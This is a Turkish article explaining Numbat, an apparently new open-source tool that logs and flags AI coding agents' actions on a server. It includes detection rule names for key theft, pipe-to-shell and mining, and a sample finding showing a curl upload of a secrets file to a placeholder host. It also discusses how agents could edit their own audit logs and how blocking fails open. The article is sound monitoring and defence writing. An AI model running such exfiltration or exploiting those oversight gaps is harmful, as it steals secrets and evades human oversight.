Numbat ile yapay zeka ajanlarının faaliyetlerini izleme
Perplexity tarafindan gelistirilen Numbat araci, AI kodlama ajanlarinin sunucunuzda yaptigi islemleri nasil kaydettigini ve hangi guvenlik risklerini tespit ettigini acikliyor.
Numbat nedir
Numbat, bir yapay zeka aracısının sahip olduğunuz bir makinede neler yaptığını görmenizi sağlar. Kodlama araçlarının halihazırda ürettiği kanca geri çağrılarını (hook callbacks) ve oturum dosyalarını okur, bunları tek bir olay formatında normalleştirir ve bir SSH özel anahtarını okumak veya bir indirmeyi doğrudan bir kabuğa yönlendirmek gibi davranışlar üzerinde tetiklenen kurallarla eşleştirir. Perplexity, aracı 29 Temmuz 2026 tarihinde ilk etiketli sürümüyle Apache 2.0 lisansı altında açık kaynak olarak yayınladı.
Aşağıdaki tüm bilgiler, 2 Ağustos 2026 tarihinde okunan projenin deposundan ve kendi belgelerinden alınmıştır. Sürüm geçmişi, kurulum gereksinimleri, kayıt şeması ve aracı kapsamı 12 Ekim 2026 tarihinde depo üzerinden tekrar kontrol edilmiştir. Perplexity bir iddiada bulunduğunda, bu yazı bunu belirtmektedir. Depo henüz yeni olduğundan ve komutları değişeceğinden, bu bir kurulum kılavuzu değildir.
Sorun: Bir ajanın ne yaptığına dair kayıt tutulmaması
VPS üzerinde çalışan bir kodlama ajanı; sizin yetkilendirdiğiniz kullanıcı haklarıyla shell komutları çalıştırır, dosyaları okur, dosyalar yazar ve ağ bağlantıları açar. Shell geçmişiniz bunların hiçbirini kaydetmez çünkü ajan, shell üzerinde komut yazmaz. sshd, giriş yaptığınızı kaydeder ancak modelin sonrasında aldığı kararlara dair hiçbir veri tutmaz. /var/log/auth.log, sudo adresine bir erişim olmadığı sürece sessiz kalır. Ajan kendi transkriptini tutar ancak bu dosya ajanın oturum dizininde bulunur, formatı sürümler arasında değişiklik gösterir ve ajanın kendi süreci bu dosyaya yazma yetkisine sahiptir.
Bu nedenle birisi, ajanın geçen Salı günü .env.production dosyasını okuyup okumadığını sorduğunda, çoğu sunucuda verilebilecek dürüst cevap "bunu bilemeyiz" şeklindedir. Bu boşluk, bu projenin var olma nedenidir.
Perplexity'nin Numbat'ın ne yaptığına dair iddiaları
README dosyası, aracı "yapay zeka ajanı faaliyetlerine yönelik uç nokta görünürlüğü; yerel tespit, isteğe bağlı eylem öncesi engelleme ve adli yeniden yapılandırma özellikleriyle" şeklinde tanımlayarak başlar. Buradaki uç nokta, dışarıdan izleme yapan bir ağ cihazı değil, ajanın üzerinde çalıştığı makineyi ifade eder. Bunlar birbirinden ayrı yeteneklerdir ve farklı ağırlıklara sahiptirler.
Tespit işlemi cihaz üzerinde çalışır. Kurallar CEL (common expression language) ile yazılır ve yerel olarak değerlendirilir; ayrıca çok adımlı dizi kuralları ve YAML formatında kendi kurallarınızı tanımlama desteği mevcuttur. Bir kuralın tetiklenmesi için makineden hiçbir verinin dışarı çıkması gerekmez.
Engelleme özelliği isteğe bağlıdır ve kapsamı dardır. Yalnızca bunu destekleyen ajanlarda, eşzamanlı eylem öncesi kancalar (pre-action hooks) aracılığıyla çalışır ve siz etkinleştirene kadar kapalıdır.
Yeniden yapılandırma işlemi olay gerçekleştikten sonra yapılır. numbat scan, bir ajanın halihazırda diske yazdığı oturum artefaktlarını ayrıştırır; böylece herhangi bir kurulum yapmadan önceki faaliyetleri inceleyebilirsiniz. Proje, bu iddiayı şu şekilde sınırlandırmaya özen gösterir: "Bekleyen (at-rest) yeniden yapılandırma, disk veya bellek edinimi değildir ve ajanın kalıcı hale getirmediği faaliyetleri kurtaramaz."
Çıktı, v0.1.2 itibarıyla 0.2.0 şema sürümünde olan; olayları, bulguları, yaptırım kararlarını, göstergeleri ve tarama özetlerini kapsayan sürümlü NDJSON (satır sınırlı JSON) formatındadır. Şema o tarihten bu yana değişmiştir: 12 Ekim 2026 itibarıyla depo 0.2.0, 0.3.0 ve 0.4.0 şema sürümlerini içermekteydi ve README'deki kayıt örnekleri 0.4.0 sürümünü göstermekteydi. Kayıtlar stdout'a veya yerel bir dosyaya, isteğe bağlı olarak da çalıştırdığınız bir toplayıcıya HTTP üzerinden gönderilir. Yazılım, macOS, Linux ve Windows üzerinde amd64 ve arm64 mimarileri için cgo olmadan derlenmiş tek bir statik Go binary dosyası olarak dağıtılır; bu sayede bir Linux VPS üzerinde önceden kurulması gereken herhangi bir çalışma zamanı (runtime) gerektirmeyen tek bir dosya halindedir.
Numbat hangi aracıları görebilir?
docs/agent-coverage.md içindeki kapsam matrisi yetkili listedir ve bu liste homojen değildir. Proje, bunu gizlemek yerine açıkça belirtmektedir. Claude Code, Codex, Gemini CLI, Cursor ve GitHub Copilot CLI hem artifact taramasına hem de pre-action hook ile canlı yakalama özelliğine sahiptir. OpenClaw, 2026.7.1 sürümünden itibaren yerel bir eklenti almaktadır. Uzun bir girdi listesi ertelenmiş olarak işaretlenmiştir; bu, canlı bir hook yolu bulunduğu ancak artifact ayrıştırıcısının mevcut olmadığı anlamına gelir. Bunun nedeni genellikle ilgili aracının geçmişini, çalışma sırasında okunması güvenli olmayan bir write-ahead log içeren SQLite içinde saklamasıdır. Cline CLI bu grupta yer alır: canlı hook'ları çalışır ancak SQLite oturumları ayrıştırılmaz. OpenCode ise karma bir durumdadır. v0.1.2 matrisi, önceki JSON depolarını ayrıştırır ve yalnızca mevcut opencode.db veritabanını erteler; OpenCode için herhangi bir pre-action zorlaması listelemez ve main dalındaki matris 12 Ekim 2026 itibarıyla hala bu şekilde okunmaktadır.
Bu araçla ilgili herhangi bir plan yapmadan önce aracı satırınızı kontrol edin, çünkü "destekleniyor" ifadesi neredeyse her satırda farklı bir anlama gelmektedir.
Bir tespitin görünümü
Kurallar, ne amaçla kullanıldıklarını belirten kimlik numaralarına sahiptir. secrets.read_private_key; bir SSH anahtarını, AWS kimlik bilgilerini, bir kube config dosyasını veya paket kayıt defteri girişini kapsar. exec.download_pipe_shell, curl veya wget çıktısı bir yorumlayıcıya aktarıldığında tetiklenir. privilege.elevated_shell, sudo, doas, su veya pkexec üzerinden etkileşimli bir root kabuğu talebini yakalar. impact.cryptomining_launch, bilinen madenci ikili dosyaları ve imaj isimleriyle eşleşir.
Sıralı kurallar, tek bir oturum içindeki olayları birleştirir. chain.secret_read_then_egress, bir gizli dosyanın okunmasını ve ardından veriyi dışarı taşıyan bir komutun çalıştırılmasını gerektirir. README dosyası, aşağıdaki bulguyu canlı bir olaydan değil, iki Claude Code ön eylem geri çağrısının kontrollü bir tekrarından yayınlamaktadır. Buradaki çıktı, önemli alanları içerecek şekilde kısaltılmıştır:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Kayıt içindeki "confidence": "medium" ifadesine ve projenin bu tür çıktıların tamamı hakkında ne söylediğine dikkat edin: "Bulgular kural eşleşmeleridir, bir ihlalin kanıtı değildir." Bir anahtarı okuyan ve ardından bir derleme çıktısını (build artifact) yükleyen bir dağıtım betiği, aynı sıralı kural ile eşleşecektir. Eşleşme doğrudur ancak alarm yanlıştır; bu, şimdiye kadar çalıştırdığınız her tespit aracının normal durumudur.
Engelleme varsayılan olarak kapalıdır ve hata durumunda açık kalır (fail-open)
Numbat ile birlikte gelen her kural yalnızca izleme modundadır. Bir kuralı engelleme kuralına dönüştürmek bilinçli bir işlem gerektirir: kuralın tam YAML içeriğini kendi dizininize kopyalayın, aynı id değerini koruyun, enforce: true ekleyin, sürüm numarasını artırın ve ardından bu politikayı doğrulayıp yükleyin.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceŞimdi, bu sisteme ne kadar güvenmeniz gerektiğine karar veren kısma gelelim. Numbat'ın reddetme (deny) yanıtı, aracıya (agent) geri iletilen bir yanıt niteliğindedir ve araç çağrısını fiilen reddeden şey aracının kendisidir. Uygulama kılavuzu, Numbat'ın kendisinde bir sorun oluştuğunda ne olacağı konusunda oldukça nettir: "Hatalı yükler, ilgili değerlendirme hataları, panik durumları ve çıktı başarısızlıkları numbat reddini bastırır." Kanca (hook) girdisi 4 MiB ile sınırlandırılmıştır ve bu boyutu aşan girdiler de aynı yolu izler.
Kılavuz, gerçekleşen bir reddetme işleminin sınırları konusunda da aynı derecede açıktır: "Fail-open (hata durumunda açık kalma), numbat'ın ret yanıtını iletmemesi anlamına gelir. Bu, aracın çalışacağını garanti etmez: ana sistem yine de komut isteyebilir, reddedebilir, zaman aşımına uğratabilir veya başka bir kanca ya da politika uygulayabilir."
Dolayısıyla buradaki uygulama bir sınır çizgisi değil, bir güvenlik bariyeridir. Süreç çökerse, işlem Numbat tarafından engellenmez; çünkü her sorun yaşadığında aracınızı donduran bir izleme aracı bir hafta içinde kaldırılır. Bu makul bir takastır. Sadece, reddetme yanıtının her zaman ulaşacağını varsayan bir güvenlik modeli oluşturmayın.
Numbat'ın mevcut iş akışınızdaki yeri
Numbat uç noktada, aracın kendi süreç ağacı içerisinde çalışır ve varsayılan olarak ~/.numbat/records.ndjson dosyasına yazar. Kullanıcınız olarak çalışan bir araç bu dosyayı okuyabilir. Ayrıca dosyayı düzenleyebilir. Denetim izinin değeri, çevresindeki izolasyonun gücüyle eşdeğerdir; bu durum, sahip olduğunuz tüm kontrolleri bu aracın arkasına değil, önüne yerleştirmenizi gerektirir.
Kodlama aracına geçici bir VM vermek, hatalı bir çalıştırmanın erişebileceği alanı sınırlar. VPS üzerinde en düşük yetkili bir kullanıcı, aracın açmaması gereken dosyalardan uzak tutulmasını sağlar. Kimlik bilgilerini aracın bağlamından uzak tutmak, bir secrets.read_private_key eşleşmesinin, tetiklendiğinde incelenmeye değer olacak kadar nadir olmasını sağlar. Ve Claude Code için bir VPS üzerinde kurduğunuz sandbox, kapsülleme işlemini gerçekleştiren temel yapıdır. Kapsülleme, hatalı bir çalıştırmanın etkileyebileceği alanı sınırlar; kodun neden bu şekilde yapılandırıldığını not etmek ise aracın sizi log kayıtlarına bakmaya zorlayacak kadar şaşırtıcı işlemler yapma sıklığını azaltır.
Numbat'ın sağladığı temel değer kayıttır; bu nedenle kaydı, aracın erişemeyeceği bir yere gönderin. numbat ship ve HTTP sink bu amaçla mevcuttur. Akışın bir kopyasının ikinci bir makinede bulunması, bir log dosyası ile kanıt arasındaki farkı oluşturur. Olay modeli ayrıca MCP (model context protocol) alanlarını da taşır; bu sayede VPS üzerinde barındırdığınız bir MCP sunucusu üzerinden çıkan araç çağrıları, yerel kabuk komutlarıyla aynı akışa düşer. Bu önemlidir, çünkü bu yol yalnızca bash dosyasını izleyen herhangi bir yapı için görünmezdir. Aynı kör nokta, aracın arama arka ucu olarak bağlanan bir SearXNG örneği için de geçerlidir; burada risk, herhangi bir kuralın eşleşebileceği bir komut olarak değil, modelin bağlamına giren güvenilmeyen sayfa metni olarak ortaya çıkar.
Önce salt okunur modda deneyin
Sabitlenmiş bir sürüm yükleyin. Aşağıdaki komut, README dosyasında Go 1.26.5 veya daha yeni bir sürüm gerektiren v0.1.2 sürümünü sabitler. Ana daldaki (main) README dosyası, 12 Ekim 2026 tarihinde Go 1.26.6 veya daha yeni bir sürüm gerektiriyordu; bu yükseltme v0.2.0 ile geldiğinden, daha yeni bir etiket sabitliyorsanız 1.26.6 sürümünü kullanın. Kaynak koddan derlemek istemiyorsanız, sürümler sayfasında SHA-256 sağlama toplamlarına sahip önceden derlenmiş ikili dosyalar mevcuttur.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents, sunucuda yüklü olan aracıları (agent) keşfeder. numbat scan, diskte halihazırda bulunan oturum yapılarını (artifact) ayrıştırır ve kayıtları yazdırır. README dosyası, bu komutların "kanca (hook) yüklemediğini veya aracı yapılandırmasını değiştirmediğini" ve numbat'ın "yapılarda bulunan aracıları veya komutları asla çalıştırmadığını, yalnızca yapılandırılmış HTTP hedeflerine giden istekler yaptığını" belirtir. Tarama işlemi, gizli verilerin maskelenmesiyle salt okunur olarak gerçekleştirilir ve normal kayıt çıktısı hiçbir zaman tam ham dökümü içermez.
Canlı yakalama bir sonraki adımdır ve bu işlem aracı yapılandırmasını değiştirir:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all; olayları, bulguları, göstergeleri ve uygulanabilir yaptırım kararlarını ~/.numbat/records.ndjson dosyasına yazar. Projeden doğrudan gelen iki uyarı bulunmaktadır. Kancaların çalışabilmesi için önce aracı içinde güvenilir olarak işaretlenmeleri gerekebilir ve --enforce gibi bayraklar değiştirildikten sonra bu güvenin tekrar gözden geçirilmesi gerekir. Ayrıca hook status "yürütmeyi veya teslimatı değil, yapılandırmayı doğrular", bu nedenle sağlıklı bir durum satırı, kayıtların herhangi bir yere ulaştığının kanıtı değildir.
Bu kadar yeni bir depo neden bağımlılık olarak eklenmemeli
12 Ekim 2026 itibarıyla genel kullanıma sunulan sürümler; 29 Temmuz 2026 tarihli v0.1.1, 1 Ağustos 2026 tarihli v0.1.2 ve sürümler sayfasında en güncel olarak işaretlenen 17 Ağustos 2026 tarihli v0.2.0'dır. Bu yazı 2 Ağustos 2026 tarihinde kaleme alındığında depo 597 yıldıza sahipti. Bu denli hızlı artan sayılar, kodun ne kadar sağlam olduğundan ziyade Perplexity kitlesinin ilgisini yansıtmaktadır. Bir yıldız, birinin sayfayı daha sonra incelemek üzere kaydettiği anlamına gelir.
Sürüm numarası, projenin mevcut durumunu dürüstçe yansıtmaktadır. v0.1.2 notları ağırlıklı olarak kimlik bilgisi gizleme düzeltmeleri, vaka paketi ve telemetri normalleştirme çalışmalarından oluşmaktadır. v0.2.0 notları ise sınırlı mesaj içeriği yakalama, beforeReadFile kancası aracılığıyla Cursor dosya okuma zorunluluğu ve ek gizleme düzeltmeleri içermektedir. Gizleme hataları, diğer programların transkriptlerini güvenli bir şekilde okumakla görevli bir araçta beklenen erken dönem kusurlarıdır. Bu hataların devamı gelecektir çünkü girdiler, her biri kendi takvimine göre format değiştiren bir düzine farklı aracıdan gelmektedir.
Bunun sonucunda iki pratik kural ortaya çıkmaktadır. Kalıcı projelerinizde asla @latest kullanmayın, her zaman etiketi sabitleyin. Ayrıca, en azından kayıt şeması değişmeyi bırakana kadar bu aracı, bağımlı olduğunuz bir kontrol mekanizması olarak değil, değerlendirme aşamasında olan bir enstrüman olarak görün. Şema henüz sabitlenmemiştir; yaklaşık on hafta içinde ana daldaki README dosyasında v0.1.2'deki 0.2.0 sürümünden 0.4.0 sürümüne geçilmiştir.
FAQ
Numbat tehlikeli yapay zeka ajanı komutlarını engeller mi?
Yalnızca tercih ederseniz ve "en iyi çaba" (best effort) prensibiyle engeller. Numbat ile birlikte gelen her kural yalnızca izleme (monitor) amaçlıdır. Engelleme yapmak için kuralın YAML dosyasını kendi dizininize kopyalamanız, kimliğini (id) korumanız, enforce: true eklemeniz, sürümü yükseltmeniz ve kancayı (hook) --enforce ile kurmanız gerekir. Bu durumda bile engelleme, ajana geri gönderilen bir yanıttır ve çağrıyı reddeden taraf ajanın kendisidir. Proje belgeleri "fail-open" davranışını belirtir: hatalı biçimlendirilmiş yükler, değerlendirme hataları, panikler ve çıktı başarısızlıklarının tümü engelleme işlemini devre dışı bırakır. Bunu tek güvenlik sınırınız olarak değil, bir koruma mekanizması olarak kullanın.
Numbat hangi yapay zeka ajanlarını destekler?
Kapsam ajana göre değişiklik gösterir ve depodaki docs/agent-coverage.md dosyasında listelenmiştir. 2 Ağustos 2026 tarihinde ilgili sayfa okunduğunda Claude Code, Codex, Gemini CLI, Cursor ve GitHub Copilot CLI hem artifact tarama hem de canlı yakalama özelliklerine sahipti; OpenClaw ise 2026.7.1 sürümünden itibaren yerel bir eklentiye sahiptir. Diğer birçok ajan canlı kanca yolu ile listelenmiş olsa da henüz bir artifact ayrıştırıcısına sahip değildir; bunun nedeni genellikle oturum geçmişlerinin, ajan çalışırken okunması güvenli olmayan bir SQLite veritabanında tutulmasıdır. Ajanınız için ilgili satırı okuyun, çünkü "destekleniyor" ifadesi orada birkaç farklı seviyeyi kapsamaktadır.
Ajan, Numbat kayıtlarını değiştirebilir mi?
Evet, eğer ajan aynı kullanıcı yetkileriyle çalışıyorsa. Kayıtlar varsayılan olarak makinede ~/.numbat/records.ndjson yolunda tutulur; bu nedenle o yola yazma erişimi olan her şey kayıtları değiştirebilir veya silebilir. Akışı, ajanın erişemeyeceği bir toplayıcıya numbat ship veya HTTP sink ile gönderin ve yerel dosyayı yalnızca kolaylık sağlayan bir kopya olarak tutun. Aracın izolasyonun yerini almak yerine onu tamamlamasının nedeni de budur. En düşük ayrıcalıklı kullanıcı altında, geçici bir sanal makineye (VM) hapsedilmiş bir ajanın kendi denetim izi üzerinde çok daha az yetkisi olur.
Numbat üretim sunucuları için hazır mı?
Bağımlı olduğunuz bir denetim mekanizması olarak henüz hazır değildir. İlk genel sürüm 29 Temmuz 2026'da v0.1.1, 1 Ağustos 2026'da v0.1.2 ve 17 Ağustos 2026'da v0.2.0 olarak yayınlanmıştır. 12 Ekim 2026 itibarıyla README dosyasındaki kayıt şeması 0.4.0 sürümüne ulaşmıştır; dolayısıyla hem bayraklar hem de kayıt şeması hala değişmektedir. Bir sunucuda numbat agents ve numbat scan çalıştırmak salt okunurdur ve düşük risk taşır; bu size ajanlarınızın diskte neler bıraktığını gösterecektir. Önemli bir sunucuya zorunlu kancalar kurmak farklı bir karardır; sabitlenmiş bir sürüm etiketi ve kancanın hatalı çalışması durumuna karşı bir plan gerektirir.